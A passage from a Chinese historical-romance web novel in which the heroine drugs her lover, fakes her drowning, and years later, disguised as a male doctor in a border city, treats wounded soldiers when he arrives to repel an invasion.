大夫人说着就要屈膝跪下,被众人拦住后,哭得声泪俱下,悲痛欲绝:“我就玄儿这一个命根子哟,没了他,可叫我和千羽往后怎么活啊……” 看着她哭得几近昏厥,华姝的心也一抽一抽地疼:“王爷现下人在府外,等回来定不会坐视不理的,您放心吧。” 霍千羽摇摇头,“父亲去寻过四叔了,没见到人。” 华姝了然,难怪大夫人会不顾形象地来当众下跪求她。 霍霆避而不见的态度,已算是在霍玄和她之间作出变相取舍。手心手背都是肉,还有南边濯缨等人的事牵绊,霍霆眼下也是步履维艰,腹背受敌。 华姝攥紧指尖,指甲嵌入肉里,良久轻叹:“我会想法子劝说他的,夜里天寒,你们先回去等消息吧。” 霍霆像是猜准她会心软应下,当夜直接宿在了外面,第二日一整天也是未得照面。 期间,老夫人派桂嬷嬷来帮忙打点明日启程去吐蕃的行囊,旁敲侧击地打听过霍霆的行踪,华姝的心宛如架在火上煎烤,被撕裂得稀巴烂。 桂嬷嬷走后,华姝就病倒了,虚弱地躺在床上,喝过药沉沉睡去。 霍霆闻讯连夜赶回来,子时已过半。守在床边凝看着她苍白的小脸,心疼难掩。 “澜舟,你回来了?”华姝咳了几声,在他搀扶下靠坐在床头。她没有逼问他霍玄的事,只抬手轻抚他眼下的黑青,“这几日累坏了吧?” 霍霆回握住她手,歪头浅蹭了蹭她掌心,缓缓消解着连日的思念与疲惫,“无妨,熬过这段时日便好。” “嗯,会熬过去的。”华姝依偎进他怀里,也用脸颊浅浅蹭着,汲取着温度与慰藉。鼻头萦绕着他身上独有的浓烈气息,深深嗅着一遍又一遍。 霍霆感受到怀中姑娘的不安,牢牢地回抱住她,轻抚后背。 华姝也将他抱得更紧,脸颊从他胸膛蹭到颈窝,从颈窝蹭过喉结、下巴,最后流连在他唇瓣处,秀气地小口小口吮着。 霍霆哪能经得住她这般撩拨?低头回吻,动作温柔,浅尝辄止,只为能安抚她几分。 然而耳鬓厮磨间,他忽觉大脑眩晕,身子大片大片地软下去,错愕不矣地紧紧盯着她,“你——” “是迷药发作了,待到明早就会自行散去。”华姝褪去羸弱的病态,轻手轻脚地将他放平,含泪低头印下一吻:“澜舟,对不起。” 她衣袖的流苏,贴着他指尖划过。 霍霆下意识伸手去握,可那流苏像极了流动的散沙,他怎么都握不住。 * 次日一早,东厂 容城匆匆来禀:“督主,底下的人传来消息,说是、说是华姑娘沉塘了!” 尸体是今早刚从霍霆池塘打捞上来的,外袍飘在冰面上,尸体泡发了,尚有一直绣鞋遗留在岸边,勉强能辨别身份。 裴夙轻撇一眼容城大惊小怪的表情,不以为意地继续喝着鸡丝粥,“要不说呢,小姝是我徒儿,你只能做侍卫。” 容城脸色一红,“督主的意思是……华姑娘是金蝉脱壳?” “想必是司空震那老东西自作聪明了。”裴夙阴恻恻一笑:“呵呵呵呵……” 他之所以没出手保住宋礼的尚书之位,就是为着司空震会放心投敌,确保那纸条上的秘密会落入华姝的手上。 再经和亲一事逼迫,华姝与霍霆不得不分道扬镳。如此,她才会一门心思去破解那纸条,离京寻来答案。 容城有一事不解:“您如何就断定华姑娘是奔着那纸条之上的地方去,而不是随意找个地方栖身?” “你莫不是忘了,她那路引和户籍皆是本督所办。”自昨夜出城起,她这一路的行踪,他自然了如指掌。 容城惭愧:“督主英明。” 可就像裴夙所称赞的那般,华姝能作为他的徒弟,心思何其缜密? 大约三日后,暗中跟踪华姝的东厂番子回来请罪:“督主恕罪,属下等人将华姑娘给、给跟丢了。” 大雪漫天,裴夙握在手中的伞柄骤然断作两截,瞳孔震颤:“你可敢再说一遍?!” 第60章 “你刚说,是谁领兵?”…… “砰砰砰!” 晌午时分, 云城一家医馆的木门被人重重锤响,惊得左邻右舍的鸡犬不宁。 来人嗓门粗犷:“张大夫在家吗?” “来了来了。”不多时,堂内一道单薄的身形边披青衫,边匆匆来到门边, “门外何人?” “张大夫, 老奴是何府管家, 来给您报喜啊!”本就大嗓门,他又提声嚷嚷开, 恨不得让全城的人都知道:“我家少爷终于站起来啦——” 张大夫乐了:“同喜同喜呀。” “这还得多谢您妙手回春哟,我家少爷卧床七八载,连老爷太太都不报希望了,何曾想过还能有……”老管家喜极而泣:“家中略备薄酒,老爷请您赏光上座。” “何老爷客气了,治病救人乃医者本分,不足挂齿。”张大夫笑说:“不过我确实要再去府中为何公子复诊一番,你稍等片刻,我梳洗一番便来。” “您请便。”老管家说完, 朝身后的人一挥手, “舞狮, 奏乐,快都动起来!” 一瞬间, 整条街吹吹打打喜庆起来。 好多小孩都探头探脑地出门凑热闹。 后院屋内, 正在对镜贴假面皮的张大夫, 对此哭笑不得, 倒也不用这么高调吧?感觉都快比上状元郎了。 她利落装扮好自己,拎上药箱,从医馆后门先一步开溜了。 没错, 张大夫正是乔装出京的华姝。 女子孤身在外行走多有不便,她女扮男装,一路行医看诊,南下云城。 途中偶然救下一名投河的青楼女子,原是患上花柳病,人人避之不及,自觉活着再无盼头。华姝恰好救治过花魁周莲,顺手为其对症下药。 青楼女子感激涕零:“若奴家没瞧走眼,张大夫乃是女儿身吧?您虽涂黑面皮,但这五官还是过于清秀了些。奴正好懂些装扮之术,还望您别嫌弃。” 华姝就此习得一些仪容之术、伪装音色的窍门,如今模仿起男子形神来也渐有七八分肖像。 何府朱红铜钉大门,张灯结彩。 经通报,何老爷亲自将华姝迎进正堂,得知她自己先溜了过来,老管家还在小院门外搓手等待,当场逗得满堂大笑,随手遣个小厮去传话。 作为云城最大的富绅,何家就这么一个宝贝幺儿,全家都待华姝作活菩萨。何老爷请她上座,华姝摆手婉拒:“还是先去何公子房中叩诊吧。” “不必张兄奔波,我自己走过来了。”丫鬟把门帘挑开,就见何家少爷拄着双拐,慢慢走向众人。他走得吃力,额头渗着细密汗珠,却笑容难掩。 何老爷满脸欣慰。 何夫人并两位何家小姐红了眼框。 仆从们亦是人人喜不自持。 华姝站在原地,面含鼓励与期许,笑看他一步步走到自己跟前,“士别三日,当刮目相待呐。” 随后对面而坐,为其扣脉复诊一番。 此事,还要感谢她途中结识的那位赤脚游医。 老大夫行将朽木,大限将至,见华姝品性颇佳,遂将毕生所学倾囊相授。他有一项绝学,就是为人重接筋脉,让断手断脚之人,有望恢复知觉。 华姝踏踏实实跟他学习两月有余,为其风光大葬之后,才继续赶路。 老大夫擅长“筋脉移植”,手足部的筋脉密密麻麻分布,他就将断掉筋脉附近的、功用不太大的筋脉嫁接过去,起到小材大用的疗效。 何公子瘫痪七八年,腿部筋脉受损严重,老大夫的法子难以奏效。华姝思及多日,决定冒险挑一截手臂的筋脉,嫁接到腿上试试。 何家人多年求医无门,本已全然不抱希望,最后死马当活马医地答应下来,意外喜从天降。 “虎口这块失了感觉,可还能适应?”华姝按了按何公子左手背的桡侧,细细审视道。 何公子:“比预想的要好,我本以为整个手指都得废了呢。”当初挑选的嫁接筋脉,正是他左臂桡侧皮下的筋脉分支,牵动着左手虎口处的感知。 何老爷也道:“家里无需他做重活,右手执笔无碍,双腿能良于行,已是不幸中的万幸!” “如此便好。”华姝解释道:“筋脉自身有重塑之能,手指与双腿道理同源,循序渐进地锻炼着,想来日后还能更灵敏些。” 何家人更是面露大喜,连忙吩咐仆人摆酒奏乐,更是请来了戏班子弹弹唱唱。 华姝盛情难却,坐下来吃了顿午膳。 膳后,面对一整箱的银元宝,她连连摆手谢绝,拉扯一番后,“不若这样吧,您用这些银两设棚施粥,也算为何公子再多积攒一份福报。” 何老爷连连颔首:“善,大善!” * 拜别何府众人,华姝出城采药。 今日天朗气清,万里无云,她心情也格外明亮,上山脚步都比往日更轻盈些。 何公子能站起来了,是不是代表她来日也能医好千羽表姐呢? 离开霍府两载,栖身这座边陲小城,京城消息传来的不多。 华姝假死后,福佳公主再作妖不得,照常前往吐蕃去和亲。 没过多久,霍霆带领七万大军回到南边封地宜洲。大军拔营启程时,距离除夕仅剩两日。 宜州府的府衙坐落宜城,大军驻扎在那,与云城相隔两座城池。常常有他的捷报传来,让她得知他人安好,却也孑身一人常年奔波不断。 至于霍府其他人,远在京城,未曾有消息传来,或许没有消息就是最好的消息。 午夜梦回,华姝常常回到熟悉的宅院,儿时的欢笑时光让她怀念,而祖母和大伯母的失望、二伯母和三伯母的责骂也让她窘迫难堪。 入梦最多的,还是那一道魁岸身影。 有时是在那山间小屋,有时在那雪崖山洞,有时是未知的战场,见他满身是血,吓得她惊梦坐起身,整夜整夜难再安枕。 可不论何时何地,他都不曾指责于她,只一味地呼唤道:“姝儿,回来吧,回到我身边来……” 有无数次她忍不住提笔,洋洋洒洒数页信纸,絮絮书写对他的思念。 可最终,全在狰狞火舌中沦为灰烬。 京城的华姝已身死,她又该以何身份回到他身边。若是被当今圣上知晓,是不是又得累及霍氏九族? 她承认自己就是个懦夫,她再一次伤了他的心。可当时那种关头,她别无他法。 走了她一人,他不必与霍家决裂,不必背上不孝不义的骂名,不必与福佳公主的母族对抗,不必被皇帝抓住他的软肋而肆意驱使。 没了一个麻烦精,他不知省心多少。 华姝用素帕抹净眼角,仰头瞧了瞧日头西斜,背上采好的草药,转身顺着鲜花烂漫的山路回城。 云城,其实是父亲留给她的线索。 当时萧成拿到的纸条,上面堆满奇形怪状的文字。旁人不得其法,她后来却想起儿时与父亲玩的一个游戏,猜字谜。 她幼时顽皮,不喜习字。父亲就将每个字笔画全拆开,首尾交换,顺次为之,拼成一个歪歪丑丑的“新字”。若她能猜对,就会抱着她上街买糖吃。 离京前夕,华姝偶然记起此法。 她试着将纸条上的字一一拆解,重新反向组装,得到的正是“云城”二字。 可云城究竟藏着什么,以至于那伙人要连夜屠杀她满门呢? 华姝隐姓埋名在此近两载,走街串巷坐诊看脉无数,都未曾打探半点。 只偶然听隔壁老铁匠讲起过秦家军。 早年间此地常受外敌南戎的侵扰,先帝派一位秦将军前来镇压。秦将军骁勇善战,打得南戎节节败退。 眼见胜利在望时,南戎献上一位美人。美人实则刺客,趁与秦将军鱼水交欢之际,一刀砍下他头颅。 大昭彻底战败,不得不割地赔款求和。先帝自然龙颜震怒,诛杀秦家九族。 华姝自小长在霍府,从未听闻此事。 且此事都过去二十余载,与华家灭门时间相隔甚远,遂一听了之。 暮色四合,城门即将下钥,华姝加快脚程往回赶,却远远望见城门口排起长队。 “这是怎了?”她向队尾的人打听。 “说是南戎又领兵来犯,怕混进奸细,以后进城都要检查路引了。”那老伯叹口气:“都停战这么些年,这南戎贼寇怎么又来了,真是狼子野心!” 华姝暂时略过“南戎”二字,追问:“若是没带的路引怎么办?” 老伯:“没带路引的可以托人捎话回家,让家人带路引来接人。” “那要是没有家人呢?”队伍轮到华姝,她向守城的士兵问道。 “没有家人就边上等着去,最后统一带去县衙。”士兵是个生人,不认得她,冷脸不耐烦地一把将她推搡到旁边,“下一个!” “哎,这不是张大夫吗?” 队伍里不少人识得她,纷纷出言。 “军爷,这位张大夫我们认得,是云城少有的大善人,不会是奸细的,您就网开一面吧。” “是啊,他平时给穷人看诊分文不取,还倒贴药费。谁是奸细,他都不可能是奸细的。” “是啊,就请军爷行行好吧……” “吵什么吵?我看谁敢再吵?!”那士兵一鞭子挥出去,厉声喝道:“国有国法,军有军规。今天就是天王老子来了也不好使!” 众人吓得纷纷避退。 华姝朝他们拱手道谢:“多谢诸位美意,就按规矩来吧,我稍微等一会便是。”只是天气越来越凉,说话间,她冻得冷不丁得一哆嗦。 有个大娘看不下去,“张大夫,您若不嫌弃,老妇这件外袍先拿去披着吧。” 一个小伙子见状:“穿我的也行。” “还有我的!” 不少人自发脱下自己的外衫,“这眼看就要打仗,最稀罕的就是良医了,以后指不定多少人等着人家救命呢。”说着,故意睨了一眼那士兵。 士兵大窘,脸红成了猪肝色。 华姝笑说不碍事,自觉站到队伍外。 队伍继续有序运转,天色又阴冷些。 须臾后,一道红衣身影朝城门飞奔而来,“张大夫,我来接你啦!” 来人正是隔壁老铁匠的幼女顾春禾,年约十五,尚未及笄。她手里拿着一份盖过红印章的纸张,“我就知道你肯定要被堵在这,赶紧去找我哥写了份临时证明。” 其兄长顾朝,乃现任县衙主簿。 有了他作保,士兵很快放行。 * 天边最后一丝余晖烧尽,夜风习习。 华姝两人顺路一起往家走,“这么晚了,顾主簿还未下值?” “这不是要打仗了嘛,我哥正忙着清点县衙的可用军需呢。”顾春禾压低声音道。 华姝点点头,避嫌地不再多问。 南戎犯境,这里注定不得安生。沿路家家户户灯火通明,有些门前人流进进出出,有些院中吵吵闹闹,整座城都开始人心惶惶。 顾春禾掩唇小声:“我听说,好多人家都准备去投奔亲戚了。张大夫,你日后什么打算?” 华姝面露迟疑。虽然医者救死扶伤是天职,但她得留着这条命给家人翻案。待家仇得报,再考虑为大义献身吧。 “我应该也会搬走,你们呢?” 顾铁匠早年丧妻,与一儿一女相依为命多年。顾主簿尚未娶妻,家里就三口人。 “我哥肯定走不掉了,我阿爹说先带我去邻城避避,日后再做打算。”顾春禾提议:“你准备去哪?顺路的话咱们可以一起。” “得容我想想。”华姝活话说着。 说话间,两人已行至家门口。 恰逢顾朝下值回来,华姝上前道谢。 “不碍事,也就这两天紧张些。”顾朝长身玉立,文质彬彬笑道:“待霍将军过几日领兵前来,大伙自然就安心了。” 夜色忽地沉静下来。 唯剩树叶随风呼啦啦作响。 华姝怔愣许久,才恍惚听见自己的声音喃喃响起:“你刚说,是谁领兵?” “当今镇南王爷,霍霆霍大将军。”顾朝诧异打量起她,“张兄早年在外游医,不应该没听说过霍将军的威名吧?” 华姝攥紧指节,面色尽量平静:“自然听过,大昭战神声名远播。” “是啊,有战神亲自来咱云城坐镇,此战一定大捷。”顾春禾瞬间兴奋起来,仰头问兄长,“那我和阿爹还用搬家吗?” 在这安居乐业多年,若非战争,谁也舍得远离故土呢? “看他老人家的意思吧。” 顾朝又偏头看向华姝,拱手相问:“张兄可愿留下助我等一臂之力,你医术精湛,我等必定如虎添翼。” 华姝拱手回礼,“承蒙不弃。” “咦?”顾春禾歪头疑惑,“你刚刚可不是这样说的吧?” 华姝摸了摸鼻子,“我……我相信战神。”—— 作者有话说:最后一个单元了,恢复日更,感谢大家一路支持,笔芯~《 》 60-70 第61章 “你,抬起头来。”…… 华姝从未经历过战争, 她本以为至少要等上三五日,才能得见霍家军。 事实上这天晚上,云城连夜遭袭! 彼时她刚梳洗完毕,正对着窗外高挂的圆月出神。眼前浮现过往种种, 心口倏空倏紧, 毫无心思安枕。 突然, 不远处的街道猛地嘈杂起来。 乌云蔽月,犬吠一片接着一片嘶吼。 她不由得披上外衣, 匆匆开门,跑到院中查看。只见主街的方向,火光冲天。更远处的城门口,狼烟四起。 华姝瞳孔骤缩,映满火光。 南戎敌军这么快就来了?! “张大夫?” “张大夫,快开门!” 身后的院门被人连连拍响。 幽凉的暗夜中,华姝后颈一寒,忙不迭转身上前,压低声音:“谁?” 对方小小声:“是我, 春禾。” “春禾?”华姝不解, 但还是快速开门, 请人拽进来。 顾春禾手上紧紧抱着一个木匣,木匣有西瓜大小, 做工精巧, 红木铜锁。 院中乌漆嘛黑, 华姝借着远处火光勉强一观, 她略作思量,心脏顿沉:“你别跟我说……这是县衙的银库?” 顾春禾眼一亮,“你怎知的?” 华姝两眼却是一黑。 这抱的是银库嘛? 眼下这是揣着个雷啊! 她当机立断, 将人拉进厨房。厨房有两口大锅,靠窗那一口其实是摆设,轻易就能被搬起来。 她弯腰推开锅下的青石砖,露出可容一人的密室,“躲进去,无论外面发生什么都别出声。” 顾春禾惊为天人,乖乖照做。 华姝将锅灶恢复原状,将另一灶膛的灰烬铲了一半均过去,然后疾步回到房中,将银针布包、枕头下那柄小巧的玄铁匕首全揣进了袖中。 余光扫到桌上的假面皮,脚步一顿。刚刚院中漆黑,顾春禾应该没瞧见吧? 容不得她多想,隔壁铁匠铺已“劈里啪啦”打砸一团,伴随着男人们低沉的怒喝声,冷兵器一阵阵尖锐相撞。 华姝三下五除二戴好面具,悄声摸到院墙下,屏息附耳。空气中已隐隐弥漫过来血腥气。 双方殴斗半晌,直到一声紧急撤令! 果然如顾朝所料,贼寇进城后除了大开城门,就是抢占县衙粮仓,兵器库,和银库。 但出乎她所料,一向憨厚沉闷的顾铁匠,斯文瘦弱的顾主簿,竟然都是练家子? 隔壁熄火,远处烧杀撕打声更甚。 飒飒夜风,华姝手握匕首,忐忑不宁。 不知过去多久,空无一人的整条街,一道飞驰的马蹄声由远及近,划破夜空—— “贼寇已绞!” “霍将军全面接管云城!” “各家继续闭户,不得躁乱。违令者,斩!” 通报声洪亮而冷肃,却仿若天籁。 伴随着一人一马远去,四周的院中接连传来窸窣的动静,或是欢呼得救,或是喜极而泣。 华姝虚脱靠在墙边,松开匕首,掌心濡湿一片。 皓月当空,她眼睫孱颤。 那人来了。 他又救了她一命。 * 不多时,顾朝悄无声息地翻过院墙,从灶下的密室中捞出顾春禾和银匣子。 厨房已燃起一盏昏黄油灯。 顾朝拱手,“多谢张兄慷慨相助。” 华姝回礼,“举手之劳罢了。” 毗邻而居一载有余,两人再对面而立,眼神都不自觉陌生几分,充满探究。 但来不及多解释,前来求医的百姓就挤满了医馆的正门。 华姝闻声而动,开门迎客,为或烧伤或砍伤的百姓紧急包扎。小小的医馆塞得满满当当,哀嚎不断,她忙得脚不沾地。 又有加鞭快马由远及近时,她正背对门口,手拿长竹板,给一捕快重接断臂。 “驭——” 马蹄声仓停在门外,冷沉男声响起。 像一道惊雷砸在心房。 华姝脸色怔变。 时隔两年,她本以为自己会忘记。 殊不知这道音色,早已根植心底。严肃的、含笑的、无奈的、灼热的…… 她双手不自觉发抖,牵动捕快伤口吃痛一声,她忙回神专心包扎,后脊沁出一层薄汗。 “见过霍将军。”不知道是谁先行礼问好,医馆的病患这才惊觉来人的身份。 一时间,不管轻伤的重伤的,能动的不能动的,都争相挣扎着跪地拜谢:“草民见过霍将军!草民叩谢将军救命之恩!草民……” “无需多礼,好生养伤。” 霍霆淡声制止众人,又朝那个慢吞吞转过来的瘦小大夫摆了摆手,“继续治你的。” “是……”华姝暗暗松了口气。 语气并无异样,那就是没受伤。以他的身手,几个南戎奸细不足为惧。 应该只是路过吧?看见颇多受伤百姓,顺势进来体察民情。 华姝慢吞吞背过身,给一大爷后肩涂抹烫伤膏,耳廓随着他沉健的脚步声动而动。 如她所料,他对医馆只是略作环顾。 而她不知,这两年凡事经临医馆,霍霆都要看一看,找一找。心怀侥幸,铩羽而归。 眼下这医馆两丈见方,小小一间,都不如他当初给她在东市准备的那间一半大。 药柜桌椅摆设古朴陈旧,胜在干净整洁。空气中药香浓郁,自带震静安神的功效。 医馆的坐堂大夫,只是个边陲小城的瘦弱男子,与那每晚入梦的娇俏少女相去甚远。 霍霆几不可闻一叹,转身出门,县衙还有一帮人在等着他排兵布阵。 他左脚跨过门槛,右脚戛然顿住。 他回首抬头,一瞬不瞬盯着正堂中央所悬挂的“惠春堂”三个大字,白纸黑字,分外醒目。 脑海闪过什么,墨眸微妙起来。 华姝也倏然停下动作。 她不知道他为何将走未走,微微侧头,余光顺着他视线瞧去,暗道不妙。 这医馆用不得华府名号,她就随手写了一个。名字本身无甚关系,只是她的字迹…… “这副字乃何人所书?” 身后之人一步步逼近。 每一步都仿佛踩在华姝的心尖上。 她不想再骗他,可眼下大敌当前,本就不是儿女情长的时候。 况且,两人之间的重重阻碍并未因时间而消磨,此时若相认,她当初又何必离开? 她狠下心肠,回身跪地伏首,“回将军的话,此乃亡母遗作。” 高大的身形蓦然僵停。 他沉默几息,缓缓看向那副似曾熟悉的字迹,又缓缓垂眼看下地面之人。大掌攥紧佩剑剑柄,骨节泛白,“你,抬起头来。” 地面寒凉,冰得华姝指尖不断蜷紧。 顾左右而他反倒容易生疑,她顺从抬首,眼睫半垂。入眼是一身熟悉的玄铁甲胄,昏黄灯光下,泛着阵阵寒芒。 他瘦了。 按理身披盔甲本应不明显,奈何他腰身瘦下去好多。 他变了。 周身的气场更冷峻,比在山间草屋相遇时,还要沉郁杀伐。 一人岿然立在此处,衣袂猎猎间似有千军万马蛰伏,让整间医馆显得逼仄而局促。 与此同时,霍霆也在打量脚边之人。 五官平平无奇,喉结凸出明显,干瘪的身形撑不起青衫。怎么看都是个又黑又瘦的年轻男子,扔在人堆立马就会被淹没的那种。 而且,音色也是男性的清沉声。 连药物故作沙哑的迹象都没有,一丝迹象都没有。 霍霆眉峰蹙动,又抬眼看向那幅挂字,阖上双目,又缓缓睁开。他大步流星出门,翻身上马,渐行渐远。 华姝忍不住追至门口,遥遥相送。 直到那冷硬的挺阔背影,像一只振翅穹顶的孤鹰,彻底融进苍茫的凉夜。 * 县衙后堂,彻夜灯火通明。 长缨送走县令、县丞一干人等,折身回到霍霆暂时下榻的房中,只见他又在对着那块激浪层叠的麒麟玉佩出神。 那块许给表姑娘、又被退回的兵符。 长缨望了眼半明半昧的深蓝天幕,上前劝道:“王爷还是歇一歇吧,只怕接下来几日都是硬仗。” 霍霆指腹摩挲着玉佩纹理,头也未抬,嗓音透着干涩的沙哑:“濯缨这月可曾来信?” 长缨为其斟满温茶,“仍无踪迹。” 霍霆:“那纸条上的线索,可有人解得?” 长缨欲言又止,“无人。” 房中沉静下来。 如潮水般淹没一切。 长缨望着霍霆削肃眼下的大片青黑,嘴唇动了又动,终是没敢再出声。 表姑娘,俨然已成自家王爷的逆鳞。 遥想那日清晨,惊闻表姑娘沉塘的噩耗,他为之骇然一震。 却是来不及弄清实情,就见王爷一口鲜血喷涌而出,当场昏倒,一连两日高热不退。 整个太医院束手无策。圣上亲笔写信,请动前任老院判出山。 “老夫观王爷脉象,旧伤已愈,体魄强健,如何会突然感染重疾?”老院判捋着白须,百般不解:“这怎么,像是心疾?” 霍家三位老爷面面相觑,闭口不语。 曾苦口婆心的大夫人,曾咄咄逼人的二夫人,曾直呼大快人心的三夫人,皆是闭门不敢出。 至于老夫人,亦是重病卧床,府上无一人敢告知这一桩桩噩耗。 几剂猛药灌下,终换得王爷片刻清醒。他醒来第一件事,就是召半夏来清枫斋,逼问:“本王要你以姝儿福报起誓,那具尸首当真是她?” 半夏恭身叩首,承认那具女尸是她夜里迷晕苓霄后,偷偷找人搬进来的。 “姑娘走前留下话,若您消沉数日就得以恢复,那世上就再无她这人。若您心殇过度,便让奴婢告知您:她一切安好,愿您日后也岁岁平安。” “她去了哪?” “可曾说要去查什么线索?” “你且如实招来!若有一句隐瞒,本王斩你九族!” “王爷息怒,奴婢真不知道。”半夏连连磕头,急得语带哭腔:“姑娘何等聪慧?您能想到的,她自是也想得到……” 话音未落,王爷再次咳血昏迷。 长缨亲眼见证这一幕幕,他无比痛恨表姑娘将事情做绝,又无比感谢表姑娘为王爷留下一线生机。 自此,被派出去寻人的濯缨,每月中旬寄回的那一封书信,前半月似解药,后半月似毒药,宛若饮鸩止渴。 天又亮了些。 长缨走上前,扣灭即将燃尽的残烛,口吻小心翼翼:“还望王爷保重身子,保不准下个月就能等来好消息。” 玉佩上指腹微顿,霍霆嘲弄一声:“这话,磨得本王耳朵都起茧子了。” 话虽如此,那颓然深陷在书案后的魁岸身形,终是强打精神站起来,拖着一袭凌乱的玄色常服走进耳房:“备水沐浴。” 长缨暗暗松口气,“是!” 不多时,耳房白雾弥漫。 霍霆仰靠在浴桶边缘,阖上红血丝斑驳的双眼,那抹袅娜灵动的身影就款款而来。一颦一笑,风韵动人。 一切仿佛才发生在昨日。 可惜她还是走了。 带着对霍府的亏欠,满身疲惫走了。 出征前,他没忍住踏进了她闺房,枯坐整夜。 意外发觉,她带走了一枚金簪。那枚初到别院,他半逼半诱,为她亲手别进发髻的金簪。 很简单的样式,根本不值几个钱。 直到那刻,他方知,她带走的还有遗憾和不舍。 她从没有负他。 是他失信在先,未能护她一生周全。 东方第一缕晨曦映入耳房,顺着男人低垂的眼角滑落,无声无息,若明若暗。 * 天亮后,来惠春堂的伤患越来越多。 华姝这才听闻,昨夜云城的整条主街全被烧毁,灰烬遍地,死伤无数。 有人心有余悸:“若是霍将军再晚到一刻钟,南北城门全破,只怕整个云城不保呐。” 旁人也叹:“是啊,若没有霍将军,后果真不敢想象……” 华姝费力捣着药杵,欣慰勾唇。 只要没了她,他就还是那位声誉斐然的大昭战神,没有软肋,无坚不摧。 接下来一整天,她照常忙忙碌碌,捣药,煮药,看诊开药。 最后一位伤患离开,日头已然西斜。 华姝锤着酸痛的薄肩,关门闭馆。 顾朝就是这时来的,“张兄且慢。” 他身上还穿着官服,拦门进屋,将手上一本花名册摊开给她看,“事发紧急,军中人手不足,需要征调些百姓前去支援。” 华姝预感不妙。 她匆忙接过花名册,只见临时军医那一扉页,白纸黑字,赫然写着她现如今的化名。 张二娃—— 作者有话说:霍霆:你说她现在叫什么? 长缨(支支吾吾):张、张二娃。 霍霆试图继续板脸,但实在没绷住。 第62章 深夜军帐药浴 军营驻扎在云城主街, 连通南北城门,出兵便宜。 华姝背着药箱过来时,天色已晚,军营篝火冉冉, 街两旁断壁残垣, 喷溅的殷血已腥黑, 比百姓描述得还要惨烈。 彼时刚鸣鼓收兵,首战大捷, 许多将士围在帐前歇息整顿。 越靠近中央的军医大帐,伤患越多。 华姝凭临时的征调文牒进去时,城中的柳大夫和王大夫已候在帐中,正同一群人围着角落里的伤患。 人群里,她看到好多熟悉的面孔。杨靖、吴广、林军医、长缨。还有霍霆,和躺在简陋榻上的萧成。 萧成紧咬帕子,惨白脸上冷汗涔涔。 林晟正半跪在榻旁,为他只剩一层皮肉连着的左小腿止血。血水一盆盆往外倒,林晟急得整个后背都湿哒哒的。 众人忧色忡忡, 凝重气氛弥漫。 杨靖安抚:“再忍忍, 等会接上断骨, 再一包扎,就完事了。” 萧成已经疼得说不出话。 林晟愁眉紧锁, 欲言又止。 倒是那柳大夫心直口快, 一语道破:“只怕没这么简单。寻常断腿是骨头从内部错位, 但萧将军的腿是从外部连骨带筋一道砍伤, 接骨容易,接筋难。万一……” 杨靖猛地揪住他衣领,怒喝:“万一什么?!” 柳大夫登即颤抖不敢言。 霍霆沉声:“杨靖。” 杨靖烦躁地一把撒开了柳大夫。 行军多年, 断腿的后果会有多严重,他们怎会不知?可都是一起磕过头的兄弟,哪能眼睁睁看着萧成……他们不敢想,也不愿听。 “万一接筋不准,失了知觉,萧将军此生只怕再难上战场。”华姝一针见血道破,从热水盆中快速净手,上前抱拳请命:“草民不才,愿为萧将军全力一治。” 杨靖打量着这个年轻后生,顶多刚到弱冠之龄,冷眼蔑视:“就凭你?在这逞什么能?” 王大夫一瞧,“哎哟,张大夫来得可太及时了!”他看向众人,“诸位将军别瞧张大夫年轻,他才给城中瘫痪多年的何家公子治愈,如今都能拄拐良行了呢!” “当真?” 杨靖几人将信将疑,却又不约而同地上前一步,紧紧盯着华姝。 就连霍霆都正视起她,主动让出道来,当众严正许诺:“你若能医好萧将军的腿,本王必有重赏。” “将军当心,草民必当倾尽全力。”华姝不作耽搁,屈膝跪在林晟身旁,简明扼要地沟通后萧成的伤情后,互相打起配合。 她这才知晓,萧成是为救霍霆而伤。 刚刚在战场上,南戎统领正面打不过,就耍起阴招,将一袋子南疆毒蛇尽数往霍霆身上扔。 霍霆下意识挥剑斩蛇,那南戎统领就钻这空子偷袭。萧成挨得最近,纵马过去支援,一边斩蛇一边与南戎统领对打,不慎被那人弯刀差点锁断了小腿。 听得华姝后脊渗出大片寒意。 若此刻躺在这的是霍霆……她不敢往下想,连忙屏息凝神,“再灌一剂麻沸散,快!”说话间,她沾满鲜血的十指加快动作,火烤酒浸,穿针引线,灵巧翻飞。 药童一次次为她擦拭额头的汗珠。 旁边铜炉内的安神线香寸寸燃尽。 霍霆泰然而坐,宛若定海神针。 其他人或站或坐,全程保持安静,静得连呼吸都能闻见。 直到月上柳梢,虫鸣阵阵。 华姝和林晟才先后停手,双臂疲惫地垂落在双侧,轻靠营帐内壁,微微喘着虚气。 期间,萧成已经疼晕过去。 大伙静静等在原地,默契地谁也没走。 约莫两刻钟后,麻沸汤药效开始失效,萧成疼得幽幽转醒。 杨靖忙上前问:“怎么样,有知觉吗?” 萧成缓了缓,颓然摇头,“还是木的。” 众人闻言失色,纷纷看向华姝。 华姝拧眉想了想,捻起一枚银针,为他十根脚趾放血,“这回呢?” 萧成又微微动了下脚趾,惨白面容终于露出喜色:“有了!刚刚断掉的那节小腿几乎全木,这会开始疼起来了。” 林晟撇撇嘴,像看傻子一样看他,“何止疼了!你脚趾头都会动了,好吧?” 众人哄堂大笑。 萧成自己也跟着笑呵呵,不慎牵动伤口,疼得他龇牙咧嘴,样子又惨又滑稽。 华姝忍俊不禁,不自觉看向霍霆。 意外四目相对。 华姝笑意僵在唇角,每个人在人群中都会最先追寻熟悉之人的目光,可如今她和他不过素昧平生。 她攥紧指节,瞳仁惶动。 面对她自然而然投来的目光,霍霆也意外一瞬,他略作思忖,墨眸微挑:“说罢,想要什么赏赐?” 华姝抱拳,“将军言重了,这些都是草民分内之事。” 杨靖也朝她抱拳,“张大夫大义!先前多有得罪之处,还望你勿怪。” 华姝回礼,“不会。” 之后,军医营帐恢复有序运转。 杨靖和吴广两人出去和将士们分享好消息,华姝三名大夫随着林晟等军医继续处理其他士兵的伤情,长缨领命去吩咐火头军准备开饭。 霍霆留了下来,大马金刀坐到萧成的矮塌床头,抬手拍了拍他肩。 萧成反手握了握他手臂,兄弟俩一切尽在不言中。 林晟得了空,从新靠过去,“王爷,您瞧着千羽小姐的腿疾,这位张大夫可能治?” 霍霆看向华姝忙碌的清瘦身影,若有所思片刻,抬手示意她过来,简略说起霍千羽的顽症,“你可愿入京谋份前程?” 这是恰好想到? 还是在试探先前的事? 华姝不得而知,余光扫过柳大夫眼中的艳羡,顺势跪地谢恩:“若能到太医院谋个一官半职,此乃草民三生求来的福分,自然万般愿意。” 霍霆垂眼觑着伏地之人,一副市井之民的浅薄做派,眉峰蹙动,眼底失望一掠而过。 